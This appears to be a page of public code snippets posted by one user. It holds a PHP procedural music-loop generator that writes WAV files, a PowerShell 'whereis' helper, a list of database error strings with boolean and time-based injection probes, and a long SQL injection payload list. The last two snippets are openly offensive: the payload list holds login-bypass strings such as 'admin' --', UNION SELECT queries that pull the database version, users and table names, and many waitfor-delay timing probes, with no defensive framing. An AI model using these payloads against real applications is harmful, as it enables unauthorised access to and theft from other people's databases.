        'feel' => 'blast', 'leadWave' => 'saw',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 4, 'bBars' => 8,
        'prog'  => [0, 0, 5, 4, 0, 3, 5, 6],   // longer cycle for a 32-bar arc
        'leadA' => [0, 2, 3, 2, 0, 4, 6, 4, 0, 2, 3, 5, 4, 3, 2, 0],
        'leadB' => [6, 6, 5, 4, 3, 3, 4, 5, 6, 6, 5, 4, 3, 2, 3, 4],
    ],

    /* ================= batch 3: the sludge family =================
       Built around what made 32-bit-04 ("doom sludge") work: very slow,
       half-time, no resolution, and a lead that repeats rather than develops.
       Each entry varies exactly one or two of those axes so the set does not
       collapse into one track played at six tempos.
       =============================================================== */

    // The floor of the family. Almost no events per minute; the space between
    // notes is the instrument. A cymbal-free funeral beat and a flat drone.
    '32-bit-08' => [
        'style' => '32', 'bpm' => 52, 'bars' => 12,
        'root' => 'Cs', 'scale' => 'naturalMin',
        'feel' => 'funeral', 'leadWave' => 'saw',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 4, 'bBars' => 3,
        'drone' => true, 'droneOct' => 1,
        'leadHold' => 3.4, 'bend' => -0.5,
        'prog'  => [0, 0, 0, 5],            // i - i - i - VI: no motion at all
        'leadA' => [0, 0, 0, 3, 0, 0, 2, 0, 0, 0, 3, 2, 0, 0, 0, 0],
        'leadB' => [5, 5, 5, 5, 4, 4, 3, 3, 0, 0, 0, 0, 2, 2, 0, 0],
    ],

    // Slow but moving: the blues b5 makes it sound wrong rather than sad, and
    // swung 8ths give it the dragged, nodding feel that doom lives on.
    '32-bit-09' => [
        'style' => '32', 'bpm' => 66, 'bars' => 16,
        'root' => 'B', 'scale' => 'blues',
        'feel' => 'sludge', 'leadWave' => 'saw',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 3, 'bBars' => 4,
        'swing' => 0.34, 'leadHold' => 1.8, 'bend' => -1.0,
        'chug' => [0, 3, 6, 11, 14], 'chugOct' => 1,
        'prog'  => [0, 0, 4, 3],            // i - i - b5 - IV
        'leadA' => [0, 0, 2, 0, 3, 0, 2, 5, 4, 3, 0, 0, 2, 3, 0, 0],
        'leadB' => [5, 5, 4, 3, 2, 2, 3, 4, 5, 4, 3, 2, 0, 0, 2, 3],
    ],

    // Locrian: b2 and b5 together, so every chord is unstable and the ear never
    // gets a home note. Deliberately no drone — the harmony does the work.
    '32-bit-10' => [
        'style' => '32', 'bpm' => 78, 'bars' => 16,
        'root' => 'D', 'scale' => 'locrian',
        'feel' => 'half', 'leadWave' => 'saw',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 3, 'bBars' => 4,
        'leadHold' => 1.5, 'bend' => -0.7,
        'chug' => [0, 4, 8, 12], 'chugOct' => 1,
        'prog'  => [0, 1, 0, 6],            // i - bII - i - bVII (tritone-adjacent)
        'leadA' => [0, 1, 0, 4, 3, 1, 0, 1, 4, 3, 1, 0, 3, 1, 0, 1],
        'leadB' => [6, 5, 4, 3, 6, 5, 4, 3, 1, 0, 1, 3, 4, 3, 1, 0],
    ],

    // Phrygian dominant reads as "tomb" rather than "grief" — the major 3rd
    // against the b2 is the classic Egyptian/middle-eastern doom sound.
    '32-bit-11' => [
        'style' => '32', 'bpm' => 62, 'bars' => 16,
        'root' => 'E', 'scale' => 'phrygDom',
        'feel' => 'doomgallop', 'leadWave' => 'saw',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 4, 'bBars' => 4,
        'drone' => true, 'droneOct' => 1, 'droneDeg' => 0,
        'swing' => 0.22, 'leadHold' => 2.2, 'bend' => -0.5,
        'prog'  => [0, 1, 0, 4],            // i - bII - i - III
        'leadA' => [0, 1, 0, 2, 0, 1, 4, 2, 0, 1, 0, 2, 1, 0, 2, 0],
        'leadB' => [4, 4, 3, 2, 1, 1, 2, 3, 4, 3, 2, 1, 0, 1, 2, 3],
    ],

    // The only fast one. Stoner groove rather than doom: blues scale, swung
    // stomp beat, dense palm-muting. Should feel like driving, not sinking.
    '32-bit-12' => [
        'style' => '32', 'bpm' => 88, 'bars' => 16,
        'root' => 'G', 'scale' => 'blues',
        'feel' => 'stomp', 'leadWave' => 'saw',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 2, 'bBars' => 4,
        'swing' => 0.30, 'leadHold' => 1.1,
        'chug' => [0, 2, 3, 6, 8, 10, 11, 14], 'chugOct' => 1,
        'prog'  => [0, 0, 3, 4],            // i - i - IV - b5
        'leadA' => [0, 2, 3, 2, 0, 3, 5, 3, 0, 2, 3, 4, 3, 2, 0, 2],
        'leadB' => [5, 4, 3, 2, 5, 4, 3, 2, 0, 2, 3, 4, 5, 4, 3, 2],
    ],

    // Whole-half diminished, 20 bars, no tonal centre that survives. The
    // longest payoff arc in the batch: intro, long a-section, late b-section.
    '32-bit-13' => [
        'style' => '32', 'bpm' => 70, 'bars' => 20,
        'root' => 'A', 'scale' => 'dim',
        'feel' => 'sludge', 'leadWave' => 'saw',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 5, 'bBars' => 5,
        'drone' => true, 'droneOct' => 1, 'droneDeg' => 0,
        'swing' => 0.26, 'leadHold' => 2.6, 'bend' => -1.2,
        'chug' => [0, 5, 8, 13], 'chugOct' => 1,
        'prog'  => [0, 1, 0, 4],            // i - bII - i - tritone region
        'leadA' => [0, 1, 2, 1, 0, 4, 3, 2, 1, 2, 3, 4, 5, 4, 2, 1],
        'leadB' => [6, 5, 4, 3, 2, 1, 2, 3, 4, 5, 6, 5, 4, 3, 2, 1],
    ],
];

foreach ($tracks as $name => $spec) {
    if (isset($argv[2]) && strpos($name, $argv[2]) !== 0) continue;
    $path = rtrim($outdir, '/') . '/' . $name . '.wav';
    $t0 = microtime(true);
    [$N, $bytes] = render_track($path, $spec);
    $gain = normalize_wav($path);
    printf("%-12s %-4s %3d bpm %2d bars  %6.2fs  %6.1fs audio  gain x%.2f\n",
        $name, $spec['style'], $spec['bpm'], $spec['bars'],
        microtime(true) - $t0, $N / $SR, $gain);
}

echo "done\n";
[ created: Nov 1, 2026 8:32 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ php == code ] 🌍 public snippet.php
gaze up0n 👤 #36cf66916a59 php
<?php
/* ============================================================================
   gen_loops.php  ::  procedural 16-bit / 32-bit loop generator
   ----------------------------------------------------------------------------
   Writes 16-bit PCM WAV files. No dependencies beyond the PHP CLI.

   The musical material follows the Fibonacci/pentatonic spec in
   audio/t0ggle_mus1c-rough start/fibonacci_music_specification.md:

     - C# minor pentatonic  (C# E F# G# B)
     - kick spacing by cumulative Fibonacci positions inside a 16-step bar
       (0, 1, 3, 6, 11  ->  intervals 1, 2, 3, 5)
     - 13-step lead phrases (a-section), 8-step grouping (b-section)
     - 16-bit voice = narrow pulse + triangle bass, hard-quantised
       32-bit voice = detuned saw "guitar" through tanh distortion

   Usage:  php gen_loops.php <outdir>
   ========================================================================== */

if (PHP_SAPI !== 'cli') { fwrite(STDERR, "cli only\n"); exit(1); }

$SR = 44100;
$outdir = $argv[1] ?? '.';
if (!is_dir($outdir)) { mkdir($outdir, 0775, true); }

/* ---------------------------------------------------------------------------
   Wavetables. Precomputing one cycle keeps the per-sample loop free of
   trig calls, which matters: each loop is ~1.1M samples.
   ------------------------------------------------------------------------- */
define('TABLE', 2048);

function build_table($shape) {
    $t = [];
    for ($i = 0; $i < TABLE; $i++) {
        $p = $i / TABLE;              // 0..1 phase
        switch ($shape) {
            case 'square25': $t[$i] = ($p < 0.25) ? 1.0 : -1.0; break;
            case 'square50': $t[$i] = ($p < 0.5) ? 1.0 : -1.0; break;
            case 'saw':      $t[$i] = 2.0 * $p - 1.0; break;
            case 'tri':      $t[$i] = 4.0 * abs($p - 0.5) - 1.0; break;
            case 'sine':
            default:         $t[$i] = sin(2.0 * M_PI * $p); break;
        }
    }
    return $t;
}

$TABLES = [
    'square25' => build_table('square25'),
    'square50' => build_table('square50'),
    'saw'      => build_table('saw'),
    'tri'      => build_table('tri'),
    'sine'     => build_table('sine'),
];

/* Deterministic noise so a loop always renders identically. */
$RNG = 22222;
function rnd() {
    global $RNG;
    $RNG = ($RNG * 1103515245 + 12345) & 0x7FFFFFFF;
    return ($RNG / 0x7FFFFFFF) * 2.0 - 1.0;
}

/* ---------------------------------------------------------------------------
   Note helpers.
   ------------------------------------------------------------------------- */
function note($start, $dur, $freq, $wave, $amp, $pan, $kind = 'tone', $opts = []) {
    return compact('start', 'dur', 'freq', 'wave', 'amp', 'pan', 'kind', 'opts');
}

function env_val($kind, $u) {
    switch ($kind) {
        case 'pluck':  return exp(-5.5 * $u);
        case 'bowed':
            if ($u < 0.02) return $u / 0.02;
            if ($u > 0.88) return (1.0 - $u) / 0.12;
            return 1.0;
        case 'kick':   return exp(-16.0 * $u);
        case 'snare':  return exp(-9.0 * $u);
        case 'hat':    return exp(-38.0 * $u);
        case 'pad':
            if ($u < 0.06) return $u / 0.06;
            if ($u > 0.8)  return (1.0 - $u) / 0.2;
            return 1.0;
        default:       return exp(-4.0 * $u);
    }
}

/* ---------------------------------------------------------------------------
   Render one loop.
   ------------------------------------------------------------------------- */
function render_loop($path, $style, $variant) {
    global $SR, $TABLES;

    $bpm   = ($style === '16') ? 152 + $variant * 4 : 138 + $variant * 6;
    $beats = 60.0 / $bpm;
    $stepDur = $beats / 4.0;            // 16th note
    $bars  = 16;
    $steps = $bars * 16;

    $total = $steps * $stepDur;
    $N = (int)round($total * $SR);

    /* ---------------------------------------------------------- note table */
    $notes = [];

    $pent = [0, 3, 5, 7, 10];           // C# minor pentatonic
    $freqOf = function ($semi, $oct) {
        $midi = 25 + $semi + 12 * $oct; // C#1 == midi 25
        return 440.0 * pow(2.0, ($midi - 69) / 12.0);
    };

    // Fibonacci kick placement inside a 16-step bar (intervals 1,2,3,5)
    $kickSteps = [0, 1, 3, 6, 11];

    // Root motion per 4-bar phrase, rotated by variant so 02 and 03 differ
    $allRoots = [0, 3, 7, 10, 5, 8];
    $rootSteps = [];
    for ($i = 0; $i < 4; $i++) $rootSteps[] = $allRoots[($i + $variant) % 6];

    for ($bar = 0; $bar < $bars; $bar++) {
        $barT = $bar * 16 * $stepDur;
        $chordRoot = $rootSteps[$bar % 4];
        $section = ($bar < 4) ? 'intro' : (($bar < 12) ? 'a' : 'b');

        /* ---- drums ---------------------------------------------------- */
        foreach ($kickSteps as $k) {
            if ($section === 'intro' && $k > 3) continue;
            $notes[] = note($barT + $k * $stepDur, 0.22, 55.0, 'sine', 0.95, -0.15, 'kick');
        }
        foreach ([4, 12] as $s) {
            $notes[] = note($barT + $s * $stepDur, 0.16, 190.0, 'sine', 0.5, 0.1, 'snare');
        }
        if ($section === 'b') {
            $notes[] = note($barT + 14 * $stepDur, 0.12, 190.0, 'sine', 0.32, 0.1, 'snare');
        }
        for ($h = 0; $h < 16; $h += 2) {
            if ($section === 'intro' && $h < 4) continue;
            $amp = ($h % 4 === 0) ? 0.20 : 0.13;
            $notes[] = note($barT + $h * $stepDur, 0.05, 8000.0, 'sine', $amp, 0.35, 'hat');
        }

        /* ---- bass: 8th notes on the pentatonic root ------------------- */
        $bassWave = ($style === '16') ? 'tri' : 'saw';
        for ($b = 0; $b < 8; $b++) {
            $semis = $chordRoot + $pent[0];
            $oct = 1;
            $lift = ($section === 'b' && $b % 2 === 1) ? 12 : 0;
            $notes[] = note(
                $barT + ($b * 2) * $stepDur,
                $stepDur * 1.7,
                $freqOf($semis + $lift, $oct),
                $bassWave,
                ($style === '16') ? 0.34 : 0.30,
                -0.05,
                'tone',
                ['env' => 'bowed']
            );
        }

        /* ---- lead ------------------------------------------------------ */
        if ($section !== 'intro' || $bar >= 2) {
            if ($section === 'b') {
                $pattern = [0, 2, 4, 7, 9, 12, 7, 4];
            } else {
                $pattern = [0, 2, 4, 1, 3, 6, 8, 10, 7, 5, 3, 2, 0]; // 13 steps
            }
            $pcount = count($pattern);
            $leadWave = ($style === '16') ? 'square25' : 'saw';
            for ($i = 0; $i < 16; $i++) {
                if ($style === '16' && $i % 2 === 1) continue;
                $raw = $pattern[$i % $pcount];
                $idx = $raw % count($pent);
                $octaveJump = ($raw >= 5) ? 12 : 0;
                $semis = $chordRoot + $pent[$idx] + $octaveJump;
                $detune = ($style === '32') ? 0.004 : 0.0;

                $notes[] = note(
                    $barT + $i * $stepDur,
                    $stepDur * 0.92,
                    $freqOf($semis, 3),
                    $leadWave,
                    ($style === '16') ? 0.20 : 0.17,
                    0.25,
                    'tone',
                    ['env' => 'pluck', 'detune' => $detune]
                );
                if ($style === '32') {
                    $notes[] = note(
                        $barT + $i * $stepDur,
                        $stepDur * 0.92,
                        $freqOf($semis, 3) * (1.0 + $detune),
                        'saw',
                        0.15,
                        -0.25,
                        'tone',
                        ['env' => 'pluck']
                    );
                }
            }
        }

        /* ---- b-section power chord ------------------------------------- */
        if ($section === 'b' && $bar % 2 === 0) {
            $f = $freqOf($chordRoot, 2);
            foreach ([1.0, 1.4983] as $mult) {
                $notes[] = note($barT, $barT + 16 * $stepDur > $total ? 0.4 : $stepDur * 16, $f * $mult, 'saw', 0.10, 0.0, 'tone', ['env' => 'pad']);
            }
        }
    }

    /* ---------------------------------------------------- block rendering */
    $fh = fopen($path, 'wb');
    fwrite($fh, str_repeat("\0", 44));

    $BLOCK = 4096;
    $sawTab = $TABLES['saw'];
    $tableLen = TABLE;

    $ncount = count($notes);
    for ($n = 0; $n < $ncount; $n++) {
        $notes[$n]['startS'] = (int)round($notes[$n]['start'] * $SR);
        $notes[$n]['lenS']   = max(1, (int)round($notes[$n]['dur'] * $SR));
        $notes[$n]['endS']   = $notes[$n]['startS'] + $notes[$n]['lenS'];
    }
    usort($notes, function ($a, $b) { return $a['startS'] - $b['startS']; });

    $bytes = 0;
    $drive = ($style === '32') ? 2.6 : 1.0;

    for ($b0 = 0; $b0 < $N; $b0 += $BLOCK) {
        $b1 = min($N, $b0 + $BLOCK);
        $len = $b1 - $b0;
        $bufL = array_fill(0, $len, 0.0);
        $bufR = array_fill(0, $len, 0.0);

        for ($n = 0; $n < $ncount; $n++) {
            $nt = $notes[$n];
            if ($nt['startS'] >= $b1) break;
            if ($nt['endS'] <= $b0) continue;

            $i0 = max($b0, $nt['startS']) - $b0;
            $i1 = min($b1, $nt['endS']) - $b0;
            $durN = $nt['lenS'];
            $freq = $nt['freq'];
            $amp  = $nt['amp'];
            $pan  = $nt['pan'];
            $gl = (1.0 - $pan) * 0.5 + 0.5;
            $gr = (1.0 + $pan) * 0.5 + 0.5;
            $kind = $nt['kind'];
            $envKind = $nt['opts']['env'] ?? 'pluck';
            $detune = $nt['opts']['detune'] ?? 0.0;
            $tab = $TABLES[$nt['wave']] ?? $TABLES['sine'];
            $baseS = $nt['startS'];

            for ($i = $i0; $i < $i1; $i++) {
                $abs = $b0 + $i;
                $rel = $abs - $baseS;
                $u = $rel / $durN;

                if ($kind === 'kick') {
                    $f2 = 45.0 + 105.0 * exp(-30.0 * $u);
                    $ph = fmod($rel * $f2 / $SR, 1.0);
                    $v = sin(2.0 * M_PI * $ph) * env_val('kick', $u) * $amp;
                } elseif ($kind === 'snare') {
                    $noise = rnd();
                    $tone = sin(2.0 * M_PI * $freq * $rel / $SR);
                    $v = ($noise * 0.75 + $tone * 0.25) * env_val('snare', $u) * $amp;
                } elseif ($kind === 'hat') {
                    $v = rnd() * env_val('hat', $u) * $amp;
                } else {
                    $ph = fmod($rel * $freq / $SR, 1.0);
                    $idx = (int)($ph * $tableLen) % $tableLen;
                    $v = $tab[$idx] * env_val($envKind, $u) * $amp;
                    if ($detune > 0.0) {
                        $ph2 = fmod($rel * $freq * (1.0 + $detune) / $SR, 1.0);
                        $idx2 = (int)($ph2 * $tableLen) % $tableLen;
                        $v += $sawTab[$idx2] * env_val($envKind, $u) * $amp * 0.6;
                    }
                }

                $bufL[$i] += $v * $gl;
                $bufR[$i] += $v * $gr;
            }
        }

        $chunk = '';
        for ($i = 0; $i < $len; $i++) {
            $l = $bufL[$i] * $drive;
            $r = $bufR[$i] * $drive;

            if ($style === '32') {
                // Scaled so the two styles sit at a similar RMS; the tanh
                // output alone is ~7 dB hotter than the quantised chip mix.
                $l = tanh($l * 1.6) * 0.41;
                $r = tanh($r * 1.6) * 0.41;
            } else {
                // Leave headroom so the kick transient is not clamped, then
                // quantise hard, the way a 4-channel chip would.
                $l *= 0.72;
                $r *= 0.72;
                $l = round($l * 48.0) / 48.0;
                $r = round($r * 48.0) / 48.0;
            }

            $l = max(-1.0, min(1.0, $l));
            $r = max(-1.0, min(1.0, $r));
            $chunk .= pack('s', (int)round($l * 32000)) . pack('s', (int)round($r * 32000));
        }
        fwrite($fh, $chunk);
        $bytes += strlen($chunk);
    }

    fclose($fh);

    $fh = fopen($path, 'r+b');
    fwrite($fh, 'RIFF');
    fwrite($fh, pack('V', 36 + $bytes));
    fwrite($fh, 'WAVE');
    fwrite($fh, 'fmt ');
    fwrite($fh, pack('V', 16));
    fwrite($fh, pack('v', 1));
    fwrite($fh, pack('v', 2));
    fwrite($fh, pack('V', $SR));
    fwrite($fh, pack('V', $SR * 2 * 2));
    fwrite($fh, pack('v', 4));
    fwrite($fh, pack('v', 16));
    fwrite($fh, 'data');
    fwrite($fh, pack('V', $bytes));
    fclose($fh);

    return [$N, $bytes];
}

/* ---------------------------------------------------------------------------
   Generate.
   ------------------------------------------------------------------------- */
$jobs = [
    ['16', 2, '16-bit-02.wav'],
    ['16', 3, '16-bit-03.wav'],
    ['32', 2, '32-bit-02.wav'],
    ['32', 3, '32-bit-03.wav'],
];

foreach ($jobs as $j) {
    [$style, $variant, $name] = $j;
    $path = rtrim($outdir, '/') . '/' . $name;
    $t0 = microtime(true);
    [$N, $bytes] = render_loop($path, $style, $variant);
    printf("%-16s %6.2fs  %8d samples  %9d bytes  (%.1f MB)\n",
        $name, microtime(true) - $t0, $N, $bytes, $bytes / 1048576);
}

echo "done\n";
[ created: Nov 1, 2026 8:31 am ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ powershell == code ] 🌍 public Whereis_the_exe // ps1 function
gaze up0n 👤 #36cf66916a59 powershell
function Find-WhereIs {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline = $true)]
        [string[]]$Name
    )

    process {
        foreach ($cmdName in $Name) {
            $results = [System.Collections.Generic.List[PSCustomObject]]::new()
            $seenPaths = [System.Collections.Generic.HashSet[string]]::new([StringComparer]::OrdinalIgnoreCase)

            # 1. Find via PowerShell Get-Command (PATH, built-ins, aliases, functions)
            $matchesFound = Get-Command -Name $cmdName -ErrorAction SilentlyContinue -All
            if ($matchesFound) {
                foreach ($cmd in $matchesFound) {
                    $path = if ($cmd.Source) { $cmd.Source } else { "Built-in / Internal" }
                    if ($path -ne "Built-in / Internal") {
                        [void]$seenPaths.Add($path)
                    }
                    $results.Add([PSCustomObject]@{
                        Command     = $cmd.Name
                        Type        = $cmd.CommandType
                        Path        = $path
                        Source      = "PATH / Environment"
                    })
                }
            }

            # 2. Search "Program Files" across all fixed drives
            $fixedDrives = [System.IO.DriveInfo]::GetDrives() | Where-Object { $_.IsReady -and $_.DriveType -eq 'Fixed' }
            
            # Determine search filter (respect extension if provided, otherwise default to .exe)
            $searchFilter = if ($cmdName -match '\.[a-zA-Z0-9]+$') { $cmdName } else { "$cmdName.exe" }

            foreach ($drive in $fixedDrives) {
                $pfFolders = @(
                    (Join-Path $drive.RootDirectory.FullName "Program Files"),
                    (Join-Path $drive.RootDirectory.FullName "Program Files (x86)")
                )

                foreach ($pf in $pfFolders) {
                    if (Test-Path $pf) {
                        # Fast filesystem search using -Filter
                        $foundFiles = Get-ChildItem -Path $pf -Filter $searchFilter -Recurse -File -ErrorAction SilentlyContinue
                        foreach ($file in $foundFiles) {
                            if ($seenPaths.Add($file.FullName)) {
                                $results.Add([PSCustomObject]@{
                                    Command     = $file.BaseName
                                    Type        = 'Application (FileSystem)'
                                    Path        = $file.FullName
                                    Source      = 'Program Files Scan'
                                })
                            }
                        }
                    }
                }
            }

            # 3. Output results or warning
            if ($results.Count -eq 0) {
                Write-Host "whereis: ${cmdName}: No matches found." -ForegroundColor Yellow
            } else {
                $results | Out-Default
            }
        }
    }
}

# Create the convenient 'whereis' alias
Set-Alias -Name whereis -Value Find-WhereIs -Force
[ created: Oct 13, 2026 9:37 pm ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ sql == code ] 🌍 public sql_inj_error
gaze up0n 👤 #36cf66916a59 sql
# MySQL
you have an error in your sql syntax
warning: mysql
mysql_fetch
mysql_num_rows
mysql_result
mysql_query
supplied argument is not a valid mysql

# MSSQL / SQL Server
unclosed quotation mark after the character string
microsoft oledb
microsoft sql server
incorrect syntax near
sql server error
odbc sql server driver
sqlstate

# PostgreSQL
pg_query
pg_execute
unterminated quoted string at or near
pg_fetch
syntax error at or near
postgresql

# Oracle
ora-01756
ora-00933
ora-00936
ora-00907
ora-01722
oracle error

# SQLite
sqlite3
sqlite error

# Generic / Timing / Type errors
syntax error
database error
query failed
invalid query
unexpected end of command
division by zero
cannot convert
type mismatch
timeout expired
deadlock found
lock wait timeout exceeded

# PHP / Web framework
supplied argument is not a valid
on line
undefined variable
undefined index
fatal error

# Misc
internal server error
server error
cannot open database
no such table
no such column
invalid identifier

# Boolean-based & Time-based detection
true--
' or '1'='1
' or '1'='1'--
' or '1'='1'#
' or '1'='1'/*
" or "1"="1
" or "1"="1"--
" or "1"="1"#
" or "1"="1"/*
sleep(5)
benchmark(1000000,MD5(1))
pg_sleep(5)
waitfor delay '0:0:5'
if(1=1,sleep(5),0)
[ created: Oct 13, 2026 4:17 pm ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ sql == code ] 🌍 public sql_inj_payloads
gaze up0n 👤 #36cf66916a59 sql
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1' or 1.e(1) or '1'='1
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
==
=
'
' --
' #
' –
'--
'/*
'#
" --
" #
"/*
' and 1='1
' and a='a
 or 1=1
 or true
' or ''='
" or ""="
1′) and '1′='1–
' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
 and 1=1
 and 1=1–
' and 'one'='one
' and 'one'='one–
' group by password having 1=1--
' group by userid having 1=1--
' group by username having 1=1--
 like '%'
 or 0=0 --
 or 0=0 #
 or 0=0 –
' or         0=0 #
' or 0=0 --
' or 0=0 #
' or 0=0 –
" or 0=0 --
" or 0=0 #
" or 0=0 –
%' or '0'='0
 or 1=1
 or 1=1--
 or 1=1/*
 or 1=1#
 or 1=1–
' or 1=1--
' or '1'='1
' or '1'='1'--
' or '1'='1'/*
' or '1'='1'#
' or '1′='1
' or 1=1
' or 1=1 --
' or 1=1 –
' or 1=1--
' or 1=1;#
' or 1=1/*
' or 1=1#
' or 1=1–
') or '1'='1
') or '1'='1--
') or '1'='1'--
') or '1'='1'/*
') or '1'='1'#
') or ('1'='1
') or ('1'='1--
') or ('1'='1'--
') or ('1'='1'/*
') or ('1'='1'#
'or'1=1
'or'1=1′
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 –
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1–
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1′='1–
) or ('1′='1–
' or 1=1 LIMIT 1;#
'or 1=1 or ''='
"or 1=1 or ""="
' or 'a'='a
' or a=a--
' or a=a–
') or ('a'='a
" or "a"="a
") or ("a"="a
') or ('a'='a and hi") or ("a"="a
' or 'one'='one
' or 'one'='one–
' or uid like '%
' or uname like '%
' or userid like '%
' or user like '%
' or username like '%
' or 'x'='x
') or ('x'='x
" or "x"="x
' OR 'x'='x'#;
'=' 'or' and '=' 'or'
' UNION ALL SELECT 1, @@version;#
' UNION ALL SELECT system_user(),user();#
' UNION select table_schema,table_name FROM information_Schema.tables;#
admin' and substring(password/text(),1,1)='7
' and substring(password/text(),1,1)='7
' or 1=1 limit 1 -- -+
'="or'
)%20waitfor%20delay%20'0:0:20'%20/*
)%20waitfor%20delay%20'0:0:20'%20--
')%20waitfor%20delay%20'0:0:20'%20/*
')%20waitfor%20delay%20'0:0:20'%20--
")%20waitfor%20delay%20'0:0:20'%20/*
")%20waitfor%20delay%20'0:0:20'%20--
))%20waitfor%20delay%20'0:0:20'%20/*
))%20waitfor%20delay%20'0:0:20'%20--
'))%20waitfor%20delay%20'0:0:20'%20/*
'))%20waitfor%20delay%20'0:0:20'%20--
"))%20waitfor%20delay%20'0:0:20'%20/*
"))%20waitfor%20delay%20'0:0:20'%20--
,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL)%20waifor%20delay%20'0:0:20'%20/*
',NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL)%20waifor%20delay%20'0:0:20'%20/*
'),NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
